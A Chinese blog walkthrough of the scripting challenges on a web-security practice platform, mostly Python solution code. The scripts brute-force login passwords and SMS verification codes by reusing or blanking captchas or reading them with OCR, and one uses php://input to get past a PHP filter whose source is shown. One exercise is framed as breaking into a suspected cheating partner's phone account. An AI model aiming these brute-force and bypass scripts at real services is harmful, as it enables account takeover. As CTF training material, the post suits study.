之前我发布了网络信息安全攻防学习平台基础关过关攻略,今天我们连载网络信息安全攻防学习平台脚本关过关攻略,感兴趣的小伙伴们可以研究一下,本关将提供大量的python代码,需要一定的python基础,关于python的学习视频,可以在本博客搜索相关文章。
游戏地址:
http://hackinglab.sinaapp.com/index.php
脚本关过关攻略
第1题:key又又找不到了
小明这次哭了,key又找不到了!!! key啊,你究竟藏到了哪里,为什么我看到的页面上都没有啊!!!!!!
点击_到这里找key__以后,发现提示,从哪来回哪去,这里我们需要用到burpsuite,对请求数据包进行抓包,在burpsuite里直接可以看到提示。这里主要是使用js进行了跳转,导致我们直接看不到,使用抓包工具可以很容易搞定。
第2题:快速口算
小明要参加一个高技能比赛,要求每个人都要能够快速口算四则运算,2秒钟之内就能够得到结果,但是小明就是一个小学生没有经过特殊的培训,那小明能否通过快速口算测验呢?
这里的过关地址,每次get请求得到的数据都是变化的,所以需要我们使用脚本获取到相应的数据,并使用脚本计算,这个就很容易了。
这里我使用的是python脚本实现的,当然你也可以用php来实现,之前我使用的是httplib,代码很长,很多朋友建议使用一下resuqests库,今天我又重写了这个脚本,发现requests库很好,很强大,以下是代码:
#!/usr/bin/env python # -*- coding: gbk -*- # -*- coding: utf-8 -*- # Date: 2014/11/25 # Created by 独自等待 # 博客 http://www.waitalone.cn/ import re try: import requests except ImportError: raise SystemExit('\n[!] requests模块导入错误,请执行pip install requests安装!') print '\n网络信息安全攻防学习平台脚本关第2题\n' s = requests.Session() url = 'http://1.hacklist.sinaapp.com/xss2_0d557e6d2a4ac08b749b61473a075be1/index.php' r = s.get(url) res = unicode(r.content, 'utf-8').encode('gbk') # print res num = re.findall(re.compile(r'<br/>\s+(.*?)='), res)[0] print '当前获取到需要口算的表达式及计算结果为:\n\n%s=%d\n' % (num, eval(num)) r = s.post(url, data={'v': eval(num)}) print re.findall(re.compile(r'<body>(.*?)</body>'), r.content)[0]
第3题:这个题目是空的
Tips:这个题目真不是随便设置的。 什么才是空的呢? 通关地址:没有,请直接提交答案(小写即可)
这个题,我忘了我当时是使用的哪个字符过的了,现在又无法重新过关,所以我把我当时可能使用到的字符提供给大家,大家去测试一下就行了,或者有知道的小伙伴留言提示一下。。
用来表示空白的字符串可能为:%00,%0a,%0d,%0a%0d,%0b,%0c,%a0,null,none等,大家都试一下吧。
据楼下小伙伴留言,答案应该是 null
第4题:逗比验证码第一期
逗比的验证码,有没有难道不一样吗? 这一关的验证码没有设置成post提交一次就失效,所以在获取得到了验证码以后,可以直接多次提交,用python脚本来实现,代码如下:
#!/usr/bin/env python # -*- coding: gbk -*- # -*- coding: utf-8 -*- # Date: 2014/11/26 # Created by 独自等待 # 博客 http://www.waitalone.cn/ try: import requests except ImportError: raise SystemExit('\n[!] requests模块导入错误,请执行pip install requests安装!') try: print '\n网络信息安全攻防学习平台脚本关第4题\n' s = requests.Session() url = 'http://1.hacklist.sinaapp.com/vcode1_bcfef7eacf7badc64aaf18844cdb1c46/login.php' for pwd in xrange(1000, 10000): payload = {'username': 'admin', 'pwd': pwd, 'vcode': 'gkcj'} header = {'Cookie': 'saeut=125.122.24.125.1416063016314663; PHPSESSID=2477842dec43ca1394e3c47867223295'} r = s.post(url, data=payload, headers=header) if 'error' not in r.content: print '\n爷,正确密码为:', pwd print '\n' + r.content break else: print '正在尝试密码:', pwd except KeyboardInterrupt: raise SystemExit('大爷,按您的吩咐,已成功退出!')
第5题:怎么就是不弹出key呢?
提交说明:提交前14个字符即可过关
这一关主要考的是js的驾驭能力,查看源代码发现变量a其实是一个匿名函数,而且js里面也禁用了一些常用的弹出对话框的函数,由于js是基于客户端浏览器的,所以我们把代码复制下来,美化后改成如下格式运行即可得到key
<script> var a = function () { var b = function (p, a, c, k, e, r) { e = function (c) { return (c < a ? '' : e(parseInt(c / a))) + ((c = c % a) > 35 ? String.fromCharCode(c + 29) : c.toString(36)) }; if (!''.replace(/^/, String)) { while (c--) r[e(c)] = k[c] || e(c); k = [ function (e) { return r[e] } ]; e = function () { return '\\w+' }; c = 1 }; while (c--) if (k[c]) p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]); return p }('1s(1e(p,a,c,k,e,r){e=1e(c){1d(c<a?\'\':e(1p(c/a)))+((c=c%a)>1q?1f.1j(c+1k):c.1n(1o))};1g(!\'\'.1h(/^/,1f)){1i(c--)r[e(c)]=k[c]||e(c);k=[1e(e){1d r[e]}];e=1e(){1d\'\\\\w+\'};c=1};1i(c--)1g(k[c])p=p.1h(1l 1m(\'\\\\b\'+e(c)+\'\\\\b\',\'g\'),k[c]);1d p}(\'Y(R(p,a,c,k,e,r){e=R(c){S(c<a?\\\'\\\':e(18(c/a)))+((c=c%a)>17?T.16(c+15):c.12(13))};U(!\\\'\\\'.V(/^/,T)){W(c--)r[e(c)]=k[c]||e(c);k=[R(e){S r[e]}];e=R(){S\\\'\\\\\\\\w+\\\'};c=1};W(c--)U(k[c])p=p.V(Z 11(\\\'\\\\\\\\b\\\'+e(c)+\\\'\\\\\\\\b\\\',\\\'g\\\'),k[c]);S p}(\\\'G(B(p,a,c,k,e,r){e=B(c){A c.L(a)};E(!\\\\\\\'\\\\\\\'.C(/^/,F)){D(c--)r[e(c)]=k[c]||e(c);k=[B(e){A r[e]}];e=B(){A\\\\\\\'\\\\\\\\\\\\\\\\w+\\\\\\\'};c=1};D(c--)E(k[c])p=p.C(I J(\\\\\\\'\\\\\\\\\\\\\\\\b\\\\\\\'+e(c)+\\\\\\\'\\\\\\\\\\\\\\\\b\\\\\\\',\\\\\\\'g\\\\\\\'),k[c]);A p}(\\\\\\\'t(h(p,a,c,k,e,r){e=o;n(!\\\\\\\\\\\\\\\'\\\\\\\\\\\\\\\'.m(/^/,o)){l(c--)r[c]=k[c]||c;k=[h(e){f r[e]}];e=h(){f\\\\\\\\\\\\\\\'\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\w+\\\\\\\\\\\\\\\'};c=1};l(c--)n(k[c])p=p.m(q s(\\\\\\\\\\\\\\\'\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\b\\\\\\\\\\\\\\\'+e(c)+\\\\\\\\\\\\\\\'\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\b\\\\\\\\\\\\\\\',\\\\\\\\\\\\\\\'g\\\\\\\\\\\\\\\'),k[c]);f p}(\\\\\\\\\\\\\\\'1 3="6";1 4="7";1 5="";8(1 2=0;2<9;2++){5+=3+4}\\\\\\\\\\\\\\\',j,j,\\\\\\\\\\\\\\\'|u|i|b|c|d|v|x|y|j\\\\\\\\\\\\\\\'.z(\\\\\\\\\\\\\\\'|\\\\\\\\\\\\\\\'),0,{}))\\\\\\\',H,H,\\\\\\\'|||||||||||||||A||B||M||D|C|E|F||I||J|G|N|O||P|Q|K\\\\\\\'.K(\\\\\\\'|\\\\\\\'),0,{}))\\\',X,X,\\\'||||||||||||||||||||||||||||||||||||S|R|V|W|U|T|Y|13|Z|11|14|12|10|19|1a|1b|1c\\\'.14(\\\'|\\\'),0,{}))\',1t,1u,\'|||||||||||||||||||||||||||||||||||||||||||||||||||||1e|1d|1f|1g|1h|1i|1v|1s|1l||1m|1n|1o|1r|1k|1j|1q|1p|1w|1x|1y|1z\'.1r(\'|\'),0,{}))', 62, 98, '|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||return|function|String|if|replace|while|fromCharCode|29|new|RegExp|toString|36|parseInt|35|split|eval|62|75|53|var|slakfj|teslkjsdflk|for'.split('|'), 0, { }); var d = eval(b); alert('key is first 14 chars' + '\n'+d.substr(0,14)); }() </script>
第6题:逗比验证码第二期
验证便失效的验证码,程序猿:“该死的黑客,我让你绕!我验证一次就让你的验证码失效,看你怎么绕!”
这一关的验证码,验证一次以后就失效了,但是再次提交的时候就不需要再考虑验证码是否正确的问题了,所以在脚本中只要保证验证码为''的就可以,代码如下:
#!/usr/bin/env python # -*- coding: gbk -*- # -*- coding: utf-8 -*- # Date: 2014/11/26 # Created by 独自等待 # 博客 http://www.waitalone.cn/ try: import requests except ImportError: raise SystemExit('\n[!] requests模块导入错误,请执行pip install requests安装!') try: print '\n网络信息安全攻防学习平台脚本关第6题\n' s = requests.Session() url = 'http://1.hacklist.sinaapp.com/vcode2_a6e6bac0b47c8187b09deb20babc0e85/login.php' for pwd in xrange(1000, 10000): payload = {'username': 'admin', 'pwd': pwd, 'vcode': ''} header = {'Cookie': 'saeut=125.122.24.125.1416063016314663; PHPSESSID=2477842dec43ca1394e3c47867223295'} r = s.post(url, data=payload, headers=header) if 'error' not in r.content: print '\n爷,正确密码为:', pwd print '\n' + r.content break else: print '正在尝试密码:', pwd except KeyboardInterrupt: raise SystemExit('大爷,按您的吩咐,已成功退出!')
第7题:逗比的验证码第三期(SESSION)
Tips:密码是4位数字,首位不是0 Tips2: SESSION
这一关,不知道为什么我用类似第6题的代码一样可以直接过,tips2 session的问题我怎么感觉没有用呢???
#!/usr/bin/env python # -*- coding: gbk -*- # -*- coding: utf-8 -*- # Date: 2014/11/26 # Created by 独自等待 # 博客 http://www.waitalone.cn/ try: import requests except ImportError: raise SystemExit('\n[!] requests模块导入错误,请执行pip install requests安装!') try: print '\n网络信息安全攻防学习平台脚本关第7题\n' s = requests.Session() url = 'http://1.hacklist.sinaapp.com/vcode3_9d1ea7ad52ad93c04a837e0808b17097/login.php' for pwd in xrange(1000, 10000): payload = {'username': 'admin', 'pwd': pwd, 'vcode': ''} header = {'Cookie': 'saeut=125.122.24.125.1416063016314663; PHPSESSID=2477842dec43ca1394e3c47867223295'} r = s.post(url, data=payload, headers=header) if 'error' not in r.content: print '\n爷,正确密码为:', pwd print '\n' + r.content break else: print '正在尝试密码:', pwd except KeyboardInterrupt: raise SystemExit('大爷,按您的吩咐,已成功退出!')
第8题:微笑一下就能过关了
首先你要得到这一关的源代码,index.php?view-source这样访问即可得到 index.php 文件的源代码,代码如下:
<?php header("Content-type: text/html; charset=utf-8"); if (isset($_GET['view-source'])) { show_source(__FILE__); exit(); } include('flag.php'); $smile = 1; if (!isset ($_GET['^_^'])) $smile = 0; if (preg_match ('/\./', $_GET['^_^'])) $smile = 0; if (preg_match ('/%/', $_GET['^_^'])) $smile = 0; if (preg_match ('/[0-9]/', $_GET['^_^'])) $smile = 0; if (preg_match ('/http/', $_GET['^_^']) ) $smile = 0; if (preg_match ('/https/', $_GET['^_^']) ) $smile = 0; if (preg_match ('/ftp/', $_GET['^_^'])) $smile = 0; if (preg_match ('/telnet/', $_GET['^_^'])) $smile = 0; if (preg_match ('/_/', $_SERVER['QUERY_STRING'])) $smile = 0; if ($smile) { if (@file_exists ($_GET['^_^'])) $smile = 0; } if ($smile) { $smile = @file_get_contents ($_GET['^_^']); if ($smile === "(●'◡'●)") die($flag); } ?>
这一关郁闷了我好久,最后还是看了网上的说明才过去的,思路转载如下:
http://blog.watch0ut.com/isg-2014-writeup-smile-chopper-cryptobaby-gif/
既然有了思路,那么用python实现起来就容易了,代码如下:
#!/usr/bin/env python # -*- coding: gbk -*- # -*- coding: utf-8 -*- # Date: 2014/11/26 # Created by 独自等待 # 博客 http://www.waitalone.cn/ import urllib try: import requests except ImportError: raise SystemExit('\n[!] requests模块导入错误,请执行pip install requests安装!') try: print '\n网络信息安全攻防学习平台脚本关第8题\n' s = requests.Session() url = 'http://1.hacklist.sinaapp.com/base13_ead1b12e47ec7cc5390303831b779d47/index.php?^.^=php://input' header = {'Cookie': 'saeut=218.108.135.246.1416190347811282; PHPSESSID=5f3d9f5685452d1474f59371067e36af'} r = s.post(url, data=urllib.unquote("%28%E2%97%8F%27%E2%97%A1%27%E2%97%8F%29"), headers=header) print r.content except KeyboardInterrupt: raise SystemExit('大爷,按您的吩咐,已成功退出!')
第9题:验证码识别
Tips:验证码依然是3位数
这一关要考的是验证码识别,需要有一定的编程功底才行的,我分别用python及php实现了识别,代码分享如下:(关于php版的由于本文太长了,所以我会另外写一篇关于验证码识别的文章,当然是基础的。)
在运行脚本之前,请先获取一下手机验证码,这是前提。
#!/usr/bin/env python # -*- coding: gbk -*- # -*- coding: utf-8 -*- # Date: 2014/11/27 # Created by 独自等待 # 博客 http://www.waitalone.cn/ try: import pytesseract from PIL import Image import requests except ImportError: print '模块导入错误,请使用pip安装,pytesseract依赖以下库:' print 'http://www.lfd.uci.edu/~gohlke/pythonlibs/#pil' print 'http://code.google.com/p/tesseract-ocr/' raise SystemExit header = {'Cookie': 'saeut=218.108.135.246.1416190347811282; PHPSESSID=5f3d9f5685452d1474f59371067e36af'} def vcode(): "python验证码识别函数" pic_url = 'http://1.hacklist.sinaapp.com/vcode7_f7947d56f22133dbc85dda4f28530268/vcode.php' r = requests.get(pic_url, headers=header, timeout=10) with open('vcode.png', 'wb') as pic: pic.write(r.content) im = pytesseract.image_to_string(Image.open('vcode.png')) im = im.replace(' ', '') if im != '': return im else: return vcode() try: print '\n网络信息安全攻防学习平台脚本关第9题\n' for pwd in xrange(100, 999): code = vcode() url = 'http://1.hacklist.sinaapp.com/vcode7_f7947d56f22133dbc85dda4f28530268/login.php' payload = {'username': 13388886666, 'mobi_code': pwd, 'user_code': code} r = requests.post(url, data=payload, headers=header, timeout=10) response = unicode(r.content, 'utf-8').encode('gbk') if 'error' not in response: print '正确的验证码为:', pwd, response break else: print '正在尝试手机验证码:', pwd, code except KeyboardInterrupt: raise SystemExit('爷,按您的吩咐,已成功退出!')
其中验证码识别部分需要安装一些依赖库及程序,脚本中有提示,请使用脚本之前进行安装。
第10题:逗比的手机验证码
你的手机号码是13388886666,验证码将会以弹窗的形式给出。这一关相对来说比较简单,只是注意一下细节方面的问题即可。
在点击获取手机验证码后,验证码会直接提示,提交这个验证码会提示:“please login as 13388886667”,那么,我们在得到验证码以后,把手机号的最后一位改为7即可秒过这关了。。
第一次过关的时候,我使用的python脚本获取验证码,然后再用脚本提交,再次测试发现,原来直接手工更简单,没有必要折腾代码了。
第11题:基情燃烧的岁月
Tips:你是一名黑客,你怀疑你的“(男/女)闺蜜”的出轨了,你要登陆TA手机的网上营业厅查看详单,一探究竟! 闺蜜手机号码:13388886666
点击获取手机验证码以后,弹出“手机验证码是:验证码发到手机上了,你看不到..是3位纯数字,开头不为0”,这样的话就只能使用脚本来实现了,代码如下:
#!/usr/bin/env python # -*- coding: gbk -*- # -*- coding: utf-8 -*- # Date: 2014/11/27 # Created by 独自等待 # 博客 http://www.waitalone.cn/ try: import requests except ImportError: raise SystemExit('\n[!] requests模块导入错误,请执行pip install requests安装!') header = {'Cookie': 'saeut=218.108.135.246.1416190347811282; PHPSESSID=5f3d9f5685452d1474f59371067e36af'} try: print '\n网络信息安全攻防学习平台脚本关第11题\n' for pwd in xrange(100, 999): url = 'http://1.hacklist.sinaapp.com/vcode6_mobi_b46772933eb4c8b5175c67dbc44d8901/login.php' payload = {'username': 13388886666, 'vcode': pwd} r = requests.post(url, data=payload, headers=header, timeout=10) response = unicode(r.content, 'utf-8').encode('gbk') if 'error' not in response: print '正确的验证码为:', pwd, response break else: print '正在尝试手机验证码:', pwd except KeyboardInterrupt: raise SystemExit('爷,按您的吩咐,已成功退出!')
结果弹出来了如下提示:
前任的手机号码是:13399999999
然后把Phone:改为13399999999,获取一下手机验证码,然后再把脚本里面的手机号改成这个13399999999再破解一次即可得到key。。
好了,脚本关完成,写了我几天的时间,所有的python代码基本上完全改写了,使用requests库来完成,之前的是使用httplic+urllib,请继续关注注入关及其它关。。。
看看时间,居然0:23分还在为大家分享文章,所以请大家支持一下小弟吧。。。^_^^_^^_^
2015-04-16 修正第5关错误,感觉网友netpoplk的提醒。。。
常关注小弟博客的兄弟们会有福利哦,稍候发放。
嗷嗷的